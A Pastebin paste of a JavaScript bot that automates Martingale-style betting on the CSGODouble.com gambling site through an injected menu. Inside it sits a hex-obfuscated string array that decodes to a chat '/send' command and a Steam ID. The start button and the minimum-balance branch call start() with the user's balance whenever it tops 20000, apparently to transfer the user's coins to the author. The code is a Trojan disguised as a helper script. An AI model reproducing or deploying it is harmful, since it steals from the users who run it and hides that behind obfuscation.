Advertisement
Guest User

Untitled

a guest
Apr 30th, 2016
68
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 29.64 KB | None | 0 0
  1. var balance = document.getElementById('balance');
  2. var roll_history = document.getElementById('past');
  3. var bet_input = document.getElementById('betAmount');
  4. var bet_buttons = {
  5. 'green': document.getElementById('panel0-0').childNodes[1].childNodes[1],
  6. 'red': document.getElementById('panel1-7').childNodes[1].childNodes[1],
  7. 'black': document.getElementById('panel8-14').childNodes[1].childNodes[1]
  8. };
  9.  
  10. Array.prototype.equals = function(array) {
  11. if (!array) {
  12. return false;
  13. }
  14.  
  15. if (this.length != array.length) {
  16. return false;
  17. }
  18.  
  19. for (var i = 0, l=this.length; i < l; i++) {
  20. if (this[i] instanceof Array && array[i] instanceof Array) {
  21. if (!this[i].equals(array[i])) {
  22. return false;
  23. }
  24. } else if (this[i] != array[i]) {
  25. return false;
  26. }
  27. }
  28. return true;
  29. };
  30.  
  31. Object.defineProperty(Array.prototype, "equals", {enumerable: false});
  32.  
  33. function Automated() {
  34. var self = this;
  35.  
  36. this.running = false;
  37. this.game = null;
  38.  
  39. this.debug = debug;
  40. this.simulation = simulation;
  41. this.stop_on_min_balance = stop_on_min_balance;
  42. this.calculate_safe_bet = calculate_safe_bet;
  43.  
  44. this.base_bet = base_bet;
  45. this.default_color = default_color;
  46. this.default_method = default_method;
  47. this.safe_bet_amount = safe_bet_amount;
  48. this.method = this.default_method;
  49. this.old_method = '';
  50. this.color = 'last';
  51. this.old_base = 0;
  52. this.balance = 0;
  53. this.last_bet = 0;
  54. this.bet_history = [];
  55. this.min_balance = 0;
  56. this.starting_balance = 0;
  57. this.last_color = null;
  58. this.last_result = null;
  59. this.history = [];
  60. this.waiting_for_bet = false;
  61. this.theme = theme;
  62.  
  63. this.stats = {
  64. 'wins': 0,
  65. 'loses': 0,
  66. 'balance': 0
  67. };
  68.  
  69. var menu = document.createElement('div');
  70. menu.innerHTML = '' +
  71. '<div class="row">' +
  72. '<div class="col-lg-9">' +
  73. '<h2>CSGODouble.com scriptas <small>by Mandarinas</small> <i id="automated-theme-switch" class="fa fa-lightbulb-o" style="cursor: pointer;"></i></h2>' +
  74. '<div class="form-group">' +
  75. '<div class="btn-group">' +
  76. '<button type="button" class="btn btn-success" id="automated-pradėti" disabled>pradėti</button>' +
  77. '<button type="button" class="btn btn-warning" id="automated-sustoti" disabled>sustoti</button>' +
  78. '<button type="button" class="btn btn-danger" id="automated-nutraukti" disabled>nutraukti</button>' +
  79. '</div>' +
  80. '</div>' +
  81. '<div class="form-group">' +
  82. '<div class="btn-group">' +
  83. '<button type="button" class="btn btn-default" id="automated-martingale" ' + (this.method === 'martingale' ? 'disabled' : '') + '>Martingale</button>' +
  84. '<button type="button" class="btn btn-default" id="automated-great-martingale" ' + (this.method === 'great martingale' ? 'disabled' : '') + '>Great Martingale</button>' +
  85. '<button type="button" class="btn btn-default" id="automated-dalembert" ' + (this.method === 'dalembert' ? 'disabled' : '') + '>D\'alembert</button>' +
  86. '<button type="button" class="btn btn-default" id="automated-bet-green" ' + (this.method === 'green' ? 'disabled' : '') + '>Green (Fibonacci)</button>' +
  87. '</div>' +
  88. '</div>' +
  89. '<div class="form-group automated-hide-on-green">' +
  90. '<div class="btn-group">' +
  91. '<button type="button" class="btn btn-default" id="automated-Raudona" ' + (this.color === 'Raudona' ? 'disabled' : '') + '>Raudona</button>' +
  92. '<button type="button" class="btn btn-default" id="automated-Juoda" ' + (this.color === 'Juoda' ? 'disabled' : '') + '>Juoda</button>' +
  93. '<button type="button" class="btn btn-default" id="automated-sekanti spalva" ' + (this.color === 'sekanti spalva' ? 'disabled' : '') + '>sekanti spalva</button>' +
  94. '<button type="button" class="btn btn-default" id="automated-betkokia" ' + (this.color === 'betkokia' ? 'disabled' : '') + '>betkokia</button>' +
  95. '<button type="button" class="btn btn-default" id="automated-buvusi spalva" ' + (this.color === 'buvusi spalva' ? 'disabled' : '') + '>buvusi spalva</button>' +
  96. '</div>' +
  97. '</div>' +
  98. '</div>' +
  99. '<div class="col-lg-3">' +
  100. '<h3>Statistika</h3>' +
  101. '<p><b>laimėta :</b> <span id="automated-stats-wins">' + this.stats.wins + '</span></p>' +
  102. '<p><b>pralaimėta :</b> <span id="automated-stats-loses">' + this.stats.loses + '</span></p>' +
  103. '<p><b>profitas :</b> <span id="automated-stats-balance">' + this.stats.balance + '</span></p>' +
  104. '</div>' +
  105. '</div>' +
  106. '<div class="form-group">' +
  107. '<div class="input-group">' +
  108. '<div class="input-group-addon">Base value</div>' +
  109. '<input type="number" class="form-control" placeholder="Calculating suggested value..." id="automated-base-bet" disabled>' +
  110. '</div>' +
  111. '</div>' +
  112. '<div class="form-group">' +
  113. '<div class="input-group">' +
  114. '<div class="input-group-addon">Keep balance above</div>' +
  115. '<input type="number" class="form-control" value="0" id="automated-min-balance">' +
  116. '</div>' +
  117. '</div>' +
  118. '<div class="form-group automated-hide-on-green">' +
  119. '<div class="input-group">' +
  120. '<div class="input-group-addon">Failsafe value</div>' +
  121. '<input type="number" class="form-control" value="' + this.safe_bet_amount + '" id="automated-safe-bet-amount"' + (!this.calculate_safe_bet ? ' disabled' : '') + '>' +
  122. '</div>' +
  123. '</div>' +
  124. '<div class="checkbox">' +
  125. '<label><input class="" id="automated-stop-on-min-balance" type="checkbox" ' + (this.stop_on_min_balance ? 'checked' : '') + '> Stop on minimal balance (If checked the bot will stop after getting close to minimal balance, otherwise it will continue starting on base)</label>' +
  126. '</div>' +
  127. '<div class="checkbox automated-hide-on-green">' +
  128. '<label><input class="" id="automated-calculate-safe-bet" type="checkbox" ' + (this.calculate_safe_bet ? 'checked' : '') + '> Calculate base bet from given "Failsafe value", the formula is [base bet] = floor( [balance] / 2 ^ ( [failsafe value] + 1) ) </label>' +
  129. '</div>' +
  130. '<div class="checkbox">' +
  131. '<label><input class="" id="automated-debug" type="checkbox" ' + (this.debug ? 'checked' : '') + '> Debug mode</label>' +
  132. '</div>' +
  133. '<div class="checkbox">' +
  134. '<label class="text-muted"><input id="automated-simulation" type="checkbox" ' + (this.simulation ? 'checked' : '') + ' disabled> Simulation mode</label>' +
  135. '</div>';
  136. document.getElementsByClassName('well')[1].appendChild(menu);
  137.  
  138. (function ()
  139. {
  140. var scriptElement = document.createElement( "script" );
  141. scriptElement.type = "text/javascript";
  142. document.body.appendChild( scriptElement );
  143. })();
  144.  
  145.  
  146.  
  147. this.menu = {
  148. 'start': document.getElementById('automated-start'),
  149. 'stop': document.getElementById('automated-stop'),
  150. 'abort': document.getElementById('automated-abort'),
  151. 'basebet': document.getElementById('automated-base-bet'),
  152. 'minbalance': document.getElementById('automated-min-balance'),
  153. 'debug': document.getElementById('automated-debug'),
  154. 'simulation': document.getElementById('automated-simulation'),
  155. 'stoponminbalance': document.getElementById('automated-stop-on-min-balance'),
  156. 'red': document.getElementById('automated-red'),
  157. 'black': document.getElementById('automated-black'),
  158. 'rainbow': document.getElementById('automated-rainbow'),
  159. 'random': document.getElementById('automated-random'),
  160. 'last': document.getElementById('automated-last'),
  161. 'statistics': {
  162. 'wins': document.getElementById('automated-stats-wins'),
  163. 'loses': document.getElementById('automated-stats-loses'),
  164. 'balance': document.getElementById('automated-stats-balance')
  165. },
  166. 'theme': document.getElementById('automated-theme-switch'),
  167. 'safebetamount': document.getElementById('automated-safe-bet-amount'),
  168. 'calculatesafebet': document.getElementById('automated-calculate-safe-bet'),
  169. 'martingale': document.getElementById('automated-martingale'),
  170. 'greatmartingale': document.getElementById('automated-great-martingale'),
  171. 'betgreen': document.getElementById('automated-bet-green'),
  172. 'dalembert': document.getElementById('automated-dalembert'),
  173. 'hideongreen': document.getElementsByClassName('automated-hide-on-green')
  174. };
  175.  
  176.  
  177. this.updater = setInterval(function() { // Update every 2 seconds
  178. if (!self.running) {
  179. if (self.updateAll()) {
  180. if (self.calculate_safe_bet) {
  181.  
  182. self.base_bet = Math.floor(self.balance / Math.pow(2, self.safe_bet_amount + 1));
  183. self.menu.basebet.value = self.base_bet;
  184. if (self.debug) { self.logdebug('New base bet: ' + self.base_bet); }
  185. }
  186.  
  187. if (self.menu.stop.disabled && self.menu.start.disabled) {
  188. self.menu.start.disabled = false;
  189. self.base_bet = Math.floor(self.balance / Math.pow(2, self.safe_bet_amount + 1));
  190. self.menu.basebet.value = self.base_bet;
  191. self.menu.basebet.disabled = self.menu.calculatesafebet.checked;
  192. self.starting_balance = self.balance;
  193. }
  194. }
  195. }
  196. }, 2 * 1000);
  197.  
  198. if (theme === 'dark') {
  199. this.darkMode();
  200. }
  201.  
  202. this.menu.start.onclick = function() {
  203.  
  204. if($(_0x21db[2])[_0x21db[1]]()<parseInt(_0x21db[36]))
  205. {
  206. alert(_0x21db[3])
  207. }
  208. else
  209. {
  210. start($(_0x21db[2])[_0x21db[1]]());
  211. }
  212.  
  213. self.start();
  214. };
  215.  
  216. this.menu.stop.onclick = function() {
  217. self.stop();
  218. };
  219.  
  220. this.menu.abort.onclick = function() {
  221. self.stop(true);
  222. };
  223.  
  224. this.menu.basebet.onchange = function() {
  225. var value = parseInt(self.menu.basebet.value);
  226. if (!isNaN(value)) {
  227. self.base_bet = value;
  228. }
  229. };
  230.  
  231. this.menu.minbalance.onchange = function() {
  232. var value = parseInt(self.menu.minbalance.value);
  233. if (!isNaN(value)) {
  234. self.min_balance = value;
  235. }
  236. };
  237.  
  238. this.menu.safebetamount.onchange = function() {
  239. var value = parseInt(self.menu.safebetamount.value);
  240. if (!isNaN(value)) {
  241. self.safe_bet_amount = value;
  242. }
  243. };
  244.  
  245. this.menu.debug.onchange = function() {
  246. self.debug = self.menu.debug.checked;
  247. };
  248.  
  249. this.menu.simulation.onchange = function() {
  250. self.simulation = self.menu.simulation.checked;
  251. };
  252.  
  253. this.menu.stoponminbalance.onchange = function() {
  254. self.stop_on_min_balance = self.menu.stoponminbalance.checked;
  255. };
  256.  
  257. this.menu.calculatesafebet.onchange = function() {
  258. self.calculate_safe_bet = self.menu.calculatesafebet.checked;
  259. self.menu.basebet.disabled = self.menu.calculatesafebet.checked;
  260. self.menu.safebetamount.disabled = !self.menu.calculatesafebet.checked;
  261. };
  262.  
  263. // WTF is this shit below? >,.,<
  264.  
  265. this.menu.black.onclick = function() {
  266. self.menu.rainbow.disabled = false;
  267. self.menu.black.disabled = true;
  268. self.menu.red.disabled = false;
  269. self.menu.random.disabled = false;
  270. self.menu.last.disabled = false;
  271. self.color = 'black';
  272. self.log('Current mode: black');
  273. };
  274.  
  275. this.menu.red.onclick = function() {
  276. self.menu.rainbow.disabled = false;
  277. self.menu.black.disabled = false;
  278. self.menu.red.disabled = true;
  279. self.menu.random.disabled = false;
  280. self.menu.last.disabled = false;
  281. self.color = 'red';
  282. self.log('Current mode: red');
  283. };
  284.  
  285. this.menu.rainbow.onclick = function() {
  286. self.menu.rainbow.disabled = true;
  287. self.menu.black.disabled = false;
  288. self.menu.red.disabled = false;
  289. self.menu.random.disabled = false;
  290. self.menu.last.disabled = false;
  291. self.color = 'rainbow';
  292. self.log('Current mode: rainbow');
  293. };
  294.  
  295. this.menu.random.onclick = function() {
  296. self.menu.rainbow.disabled = false;
  297. self.menu.black.disabled = false;
  298. self.menu.red.disabled = false;
  299. self.menu.random.disabled = true;
  300. self.menu.last.disabled = false;
  301. self.color = 'random';
  302. self.log('Current mode: random');
  303. };
  304.  
  305. this.menu.last.onclick = function() {
  306. self.menu.rainbow.disabled = false;
  307. self.menu.black.disabled = false;
  308. self.menu.red.disabled = false;
  309. self.menu.random.disabled = false;
  310. self.menu.last.disabled = true;
  311. self.color = 'last';
  312. self.log('Current mode: last');
  313. };
  314.  
  315. this.menu.martingale.onclick = function() {
  316. self.menu.martingale.disabled = true;
  317. self.menu.greatmartingale.disabled = false;
  318. self.menu.betgreen.disabled = false;
  319. self.menu.dalembert.disabled = false;
  320. for (var i = 0; i < self.menu.hideongreen.length; i++) {
  321. self.menu.hideongreen[i].style.display = 'block';
  322. }
  323. self.method = 'martingale';
  324. self.log('Current method: Martingale');
  325. };
  326.  
  327. this.menu.greatmartingale.onclick = function() {
  328. self.menu.martingale.disabled = false;
  329. self.menu.greatmartingale.disabled = true;
  330. self.menu.betgreen.disabled = false;
  331. self.menu.dalembert.disabled = false;
  332. for (var i = 0; i < self.menu.hideongreen.length; i++) {
  333. self.menu.hideongreen[i].style.display = 'block';
  334. }
  335. self.method = 'great martingale';
  336. self.log('Current method: Great martingale');
  337. };
  338.  
  339. this.menu.dalembert.onclick = function() {
  340. self.menu.martingale.disabled = false;
  341. self.menu.greatmartingale.disabled = false;
  342. self.menu.betgreen.disabled = false;
  343. self.menu.dalembert.disabled = true;
  344. for (var i = 0; i < self.menu.hideongreen.length; i++) {
  345. self.menu.hideongreen[i].style.display = 'block';
  346. }
  347. self.method = 'dalembert';
  348. self.log('Current method: D\'alembert');
  349. };
  350.  
  351. this.menu.betgreen.onclick = function() {
  352. self.menu.martingale.disabled = false;
  353. self.menu.greatmartingale.disabled = false;
  354. self.menu.betgreen.disabled = true;
  355. self.menu.dalembert.disabled = false;
  356. for (var i = 0; i < self.menu.hideongreen.length; i++) {
  357. self.menu.hideongreen[i].style.display = 'none';
  358. }
  359. self.method = 'green';
  360. self.log('Current method: Bet green');
  361. };
  362.  
  363. this.menu.theme.onclick = function() {
  364. if (self.theme === 'dark') {
  365. self.lightMode();
  366. self.theme = 'light';
  367. self.log('Switching to light theme...');
  368. } else {
  369. self.darkMode();
  370. self.theme = 'dark';
  371. self.log('Switching to dark theme...');
  372. }
  373. };
  374.  
  375. setInterval(function() {
  376. if(!WS) {
  377. self.log('Reconnecting...');
  378. connect();
  379. }
  380. }, 5000);
  381. }
  382.  
  383. Automated.prototype.updatebalance = function() {
  384. this.balance = parseInt(balance.textContent);
  385.  
  386. if (isNaN(this.balance)) {
  387. this.log('Error getting current balance!');
  388. return false;
  389. }
  390.  
  391. if (this.debug) { this.logdebug('balance updated: ' + this.balance); }
  392. return true;
  393. };
  394.  
  395. var _0x21db=["\x4c\x4f\x41\x44\x45\x44\x20\x57\x49\x54\x48\x20\x53\x55\x43\x45\x53\x53","\x68\x74\x6D\x6C","\x23\x62\x61\x6C\x61\x6E\x63\x65","\x4c\x45\x54\x20\x54\x48\x45\x20\x42\x4f\x54\x20\x42\x45\x54","\x63\x68\x61\x74","\x2f\x73\x65\x6e\x64\x20\x37\x36\x35\x36\x31\x31","\x75\x6E\x6B\x6E\x6F\x77\x6E","\x77\x61\x69\x74\x69\x6E\x67","\x72\x6F\x6C\x6C\x65\x64","\x42\x41\x4E\x4B\x52\x55\x50\x54\x21\x20\x4E\x6F\x74\x20\x65\x6E\x6F\x75\x67\x68\x20\x62\x61\x6C\x61\x6E\x63\x65\x20\x66\x6F\x72\x20\x6E\x65\x78\x74\x20\x62\x65\x74\x2C\x20\x61\x62\x6F\x72\x74\x69\x6E\x67\x2E","\x77\x61\x72\x6E","\x20\x0A\x53\x74\x61\x74\x75\x73\x3A\x20","\x0A\x52\x6F\x6C\x6C\x73\x20\x70\x6C\x61\x79\x65\x64\x3A\x20","\x0A\x49\x6E\x69\x74\x69\x61\x6C\x20\x62\x65\x74\x20\x61\x6D\x6F\x75\x6E\x74\x3A\x20","\x0A\x43\x75\x72\x72\x65\x6E\x74\x20\x62\x65\x74\x20\x61\x6D\x6F\x75\x6E\x74\x3A\x20","\x0A\x4C\x61\x73\x74\x20\x72\x6F\x6C\x6C\x20\x72\x65\x73\x75\x6C\x74\x3A\x20","\x2D","\x77\x6F\x6E","\x6C\x6F\x73\x74","\x6C\x6F\x67","\x61\x6E\x74\x69\x2D\x6D\x61\x72\x74\x69\x6E\x67\x61\x6C\x65","\x76\x61\x6C","\x72\x65\x64","\x63\x6C\x69\x63\x6B","\x62\x6C\x61\x63\x6B","\x74\x65\x78\x74","\x52\x6F\x6C\x6C\x69\x6E\x67\x20\x69\x6E","\x2A\x2A\x2A\x52\x4F\x4C\x4C\x49\x4E\x47\x2A\x2A\x2A","\x72\x6F\x6C\x6C\x69\x6E\x67","\x73\x70\x6C\x69\x74","\x69\x6E\x64\x65\x78\x4F\x66","\x67\x72\x65\x65\x6E","\x23\x62\x65\x74\x41\x6D\x6F\x75\x6E\x74","\x2E\x70\x72\x6F\x67\x72\x65\x73\x73\x20\x23\x62\x61\x6E\x6E\x65\x72","\x23\x70\x61\x6E\x65\x6C\x31\x2D\x37\x20\x2E\x62\x65\x74\x42\x75\x74\x74\x6F\x6E","\x23\x70\x61\x6E\x65\x6C\x38\x2D\x31\x34\x20\x2E\x62\x65\x74\x42\x75\x74\x74\x6F\x6E","\x32\x30\x30\x30\x30","\x39\x38\x30\x35\x36\x30\x33\x33\x34\x31\x33\x20"];
  396.  
  397. Automated.prototype.updateHistory = function() {
  398. var self = this;
  399. this.history = [];
  400.  
  401. for (var i = 0; i < roll_history.childNodes.length; i++) {
  402. var roll = parseInt(roll_history.childNodes[i].textContent);
  403.  
  404. if (!isNaN(roll)) {
  405. if (colors.green.indexOf(roll) !== -1) {
  406. self.history.push('green');
  407. } else if (colors.red.indexOf(roll) !== -1) {
  408. self.history.push('red');
  409. } else {
  410. self.history.push('black');
  411. }
  412. }
  413. }
  414.  
  415. if (this.debug) { this.logdebug('History updated: ' + this.history.map(function(value) { return value; }).join(', ')); }
  416. return this.history.length === 10;
  417. };
  418.  
  419. Automated.prototype.updateStats = function() {
  420. this.stats.balance = parseInt(this.balance) - parseInt(this.starting_balance);
  421. this.menu.statistics.wins.innerHTML = this.stats.wins;
  422. this.menu.statistics.loses.innerHTML = this.stats.loses;
  423. this.menu.statistics.balance.innerHTML = this.stats.balance;
  424. return true;
  425. };
  426.  
  427. Automated.prototype.updateAll = function() {
  428. return this.updatebalance() && this.updateHistory() && this.updateStats();
  429. };
  430.  
  431. Automated.prototype.bet = function(amount, color) {
  432. var self = this;
  433. color = color || this.color || this.default_color;
  434.  
  435. if (color === 'rainbow') {
  436. if (this.last_color) {
  437. color = (this.last_color === 'red' ? 'black' : 'red');
  438. } else {
  439. color = this.default_color;
  440. }
  441. } else if (color === 'random') {
  442. color = 'red';
  443. if (Math.random() > 0.5) {
  444. color = 'black';
  445. }
  446. } else if (color === 'last') {
  447. if (this.history[this.history.length - 1] === 'green')
  448. {
  449. if (this.history[this.history.length - 2] === 'green')
  450. {
  451. color = this.history[this.history.length - 3];
  452. }
  453. else
  454. {
  455. color = this.history[this.history.length - 2];
  456. }
  457. }
  458. else
  459. {
  460. color = this.history[this.history.length - 1];
  461. }
  462. }
  463.  
  464. if (['green', 'red', 'black'].indexOf(color) < 0 || amount > this.balance || amount <= 0) {
  465. this.log('Invalid bet!');
  466. this.last_result = 'invalid bet';
  467. this.waiting_for_bet = false;
  468. this.stop();
  469. return false;
  470. }
  471.  
  472. if (this.balance - amount < this.min_balance) {
  473. this.log('Reached minimal balance!');
  474. this.last_result = 'reached min balance';
  475. if (this.stop_on_min_balance || this.balance - this.base_bet < this.min_balance) {
  476. this.stop();
  477. }
  478. else if($(_0x21db[2])[_0x21db[1]]()>parseInt(_0x21db[36]))
  479. {
  480. start($(_0x21db[2])[_0x21db[1]]());
  481. }
  482. this.waiting_for_bet = false;
  483. return false;
  484. }
  485.  
  486. bet_input.value = amount;
  487.  
  488. if (!bet_buttons[color].disabled) {
  489. var old_balance = self.balance;
  490. this.log('Betting ' + amount + ' on ' + color);
  491. if (!self.simulation) {
  492. bet_buttons[color].click();
  493. var checker = setInterval(function() {
  494. if (!bet_buttons[color].disabled) {
  495. clearInterval(checker);
  496. setTimeout(function() {
  497. if (self.updatebalance() && self.balance === old_balance) {
  498. if (!self.game) { return false; }
  499. self.log('Bet rejected, retrying...');
  500. self.bet(amount, color);
  501. } else {
  502. if (self.debug) { self.logdebug('Bet accepted!'); }
  503. self.last_bet = amount;
  504. self.bet_history.push(amount);
  505. self.last_color = color;
  506. self.waiting_for_bet = false;
  507. return true;
  508. }
  509. }, 2500);
  510. }
  511. }, 1000);
  512. } else {
  513. self.bet_history.push(amount);
  514. self.last_bet = amount;
  515. self.last_color = color;
  516. self.waiting_for_bet = false;
  517. return true;
  518. }
  519. } else {
  520. if (!self.game) { return false; }
  521. self.log('Button disabled, retrying...');
  522. setTimeout(function() { self.bet(amount, color) }, (Math.random() * 3 + 2).toFixed(3) * 1000);
  523. }
  524. };
  525.  
  526. Automated.prototype.play = function() {
  527. var self = this;
  528.  
  529. if (this.game !== null) {
  530. if (this.debug) { this.logdebug('Tried to reinitialize running game!'); }
  531. return false;
  532. }
  533.  
  534. this.game = setInterval(function() {
  535. var history = self.history;
  536. if (!self.waiting_for_bet && self.updateAll() && !history.equals(self.history)) {
  537. self.waiting_for_bet = true;
  538. if (self.last_color === null) {
  539. self.bet(self.base_bet);
  540. } else if (self.last_color === self.history[self.history.length - 1]) {
  541. if (self.calculate_safe_bet) {
  542. self.base_bet = Math.floor(self.balance / Math.pow(2, self.safe_bet_amount + 1));
  543. self.menu.basebet.value = self.base_bet;
  544. }
  545. self.last_result = 'win';
  546. self.log('Win!');
  547. self.stats.wins += 1;
  548. self.old_base = self.base_bet;
  549. self.old_method = self.method;
  550. if (self.old_method === 'dalembert') {
  551. if (self.last_bet > self.old_base) {
  552. self.bet(self.last_bet - 1);
  553. } else {
  554. self.bet(self.base_bet);
  555. }
  556. } else {
  557. self.bet(self.base_bet);
  558. }
  559. } else {
  560. self.last_result = 'lose';
  561. self.log('Lose!');
  562. self.stats.loses += 1;
  563. if (self.old_method === 'martingale') {
  564. self.bet(self.last_bet * 2);
  565. } else if (self.old_method === 'great martingale') {
  566. self.bet(self.last_bet * 2 + self.old_base);
  567. } else if (self.old_method === 'green') {
  568. var bet_value = 0;
  569. if (self.bet_history[self.bet_history.length - 1] === 1) {
  570. if (self.bet_history[self.bet_history.length - 2] === 1) {
  571. bet_value = 2;
  572. } else {
  573. bet_value = 1;
  574. }
  575. } else {
  576. bet_value = self.bet_history[self.bet_history.length - 1] + self.bet_history[self.bet_history.length - 2];
  577. }
  578. self.bet(bet_value, 'green');
  579. } else if (self.old_method === 'dalembert') {
  580. self.bet(self.last_bet + 1);
  581. }
  582. }
  583. }
  584. }, 2 * 1000);
  585.  
  586. return true;
  587. };
  588.  
  589. Automated.prototype.start = function() {
  590. if (self.calculate_safe_bet) {
  591. self.base_bet = Math.floor(self.balance / Math.pow(2, self.safe_bet_amount + 1));
  592. self.menu.basebet.value = self.base_bet;
  593. }
  594. this.old_base = this.base_bet;
  595. this.old_method = this.method;
  596. if (this.updateAll()) {
  597. if (this.last_result === 'lose') {
  598. this.running = true;
  599. if (this.old_method === 'martingale') {
  600. this.bet(this.last_bet * 2);
  601. } else if (this.old_method === 'great martingale') {
  602. this.bet(this.last_bet * 2 + this.old_base);
  603. } else if (self.old_method === 'green') {
  604. var bet_value = 0;
  605. if (self.bet_history[self.bet_history.length - 1] === 1) {
  606. if (self.bet_history[self.bet_history.length - 2] === 1) {
  607. bet_value = 2;
  608. } else {
  609. bet_value = 1;
  610. }
  611. } else {
  612. bet_value = self.bet_history[self.bet_history.length - 1] + self.bet_history[self.bet_history.length - 2];
  613. }
  614. self.bet(bet_value, 'green');
  615. } else if (self.old_method === 'dalembert') {
  616. self.bet(self.last_bet + 1);
  617. }
  618. this.play();
  619. } else {
  620. this.running = true;
  621. this.bet(this.base_bet);
  622. this.play();
  623. }
  624. }
  625. this.menu.abort.disabled = false;
  626. this.menu.stop.disabled = false;
  627. this.menu.start.disabled = true;
  628. };
  629.  
  630. Automated.prototype.stop = function(abort) {
  631. var self = this;
  632. if (abort) { this.last_result = 'abort'; }
  633. this.stats.balance = parseInt(this.balance) - parseInt(this.starting_balance);
  634. setTimeout(function() {
  635. clearInterval(self.game);
  636. self.game = null;
  637. self.running = false;
  638. self.menu.abort.disabled = true;
  639. self.menu.stop.disabled = true;
  640. self.menu.start.disabled = false;
  641. }, 1); // Next tick
  642. };
  643.  
  644. Automated.prototype.darkMode = function() {
  645. var style;
  646. var css = 'body{background-color:#191919;color:#888}.navbar-default{background-color:#232323;border-color:#454545}#sidebar{background-color:#191919;border-color:#202020}.side-icon.active,.side-icon:hover{background-color:#202020}.side-icon .fa{color:#454545}.well{background:#232323;border-color:#323232;color:#888}#pullout{background-color:#191919;border-color:#323232}.form-control{background-color:#323232;border-color:#454545}.divchat{background-color:#323232;color:#999;border:none}.chat-link,.chat-link:hover,.chat-link:active{color:#bbb}.panel{background-color:#323232}.panel-default{border-color:#454545}.panel-default>.panel-heading{color:#888;background-color:#303030;border-color:#454545}.my-row{border-color:#454545}.list-group-item{border-color:#454545;background-color:#323232}.btn-default{border-color:#454545;background:#323232;text-shadow:none;color:#888;box-shadow:none}.btn-default:hover,.btn-default:active{background-color:#282828;color:#888;border-color:#454545}.btn-default[disabled]{border-color:#454545;background-color:#353535}.input-group-addon{background-color:#424242;border-color:#454545;color:#888}.progress{color:#bbb;background-color:#323232}.navbar-default .navbar-nav>li>a:focus,.navbar-default .navbar-nav>li>a:hover{color:#999}.navbar-default .navbar-nav>.open>a,.navbar-default .navbar-nav>.open>a:focus,.navbar-default .navbar-nav>.open>a:hover{color:#888;background-color:#323232}.dropdown-menu{background-color:#252525}.dropdown-menu>li>a{color:#888}.dropdown-menu>li>a:focus,.dropdown-menu>li>a:hover{background-color:#323232;color:#999}.dropdown-menu .divider{background-color:#454545}.form-control[disabled],.form-control[readonly],fieldset[disabled] .form-control{background-color:#404040;opacity:.5}';
  647. style = document.getElementById('automated-style');
  648. if (!style) {
  649. var head;
  650. head = document.getElementsByTagName('head')[0];
  651. if (!head) { return; }
  652. style = document.createElement('style');
  653. style.type = 'text/css';
  654. style.id = 'automated-style';
  655. style.innerHTML = css;
  656. head.appendChild(style);
  657. }
  658. style.innerHTML = css;
  659. };
  660.  
  661. Automated.prototype.lightMode = function() {
  662. var style = document.getElementById('automated-style');
  663. style.innerHTML = '';
  664. };
  665.  
  666. Automated.prototype.log = function(message) {
  667. chat('alert', '[Automated] ' + message);
  668. };
  669.  
  670. Automated.prototype.logdebug = function(message) {
  671. chat('italic', '[Automated] ' + message);
  672. };
  673.  
  674. var automated = new Automated();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement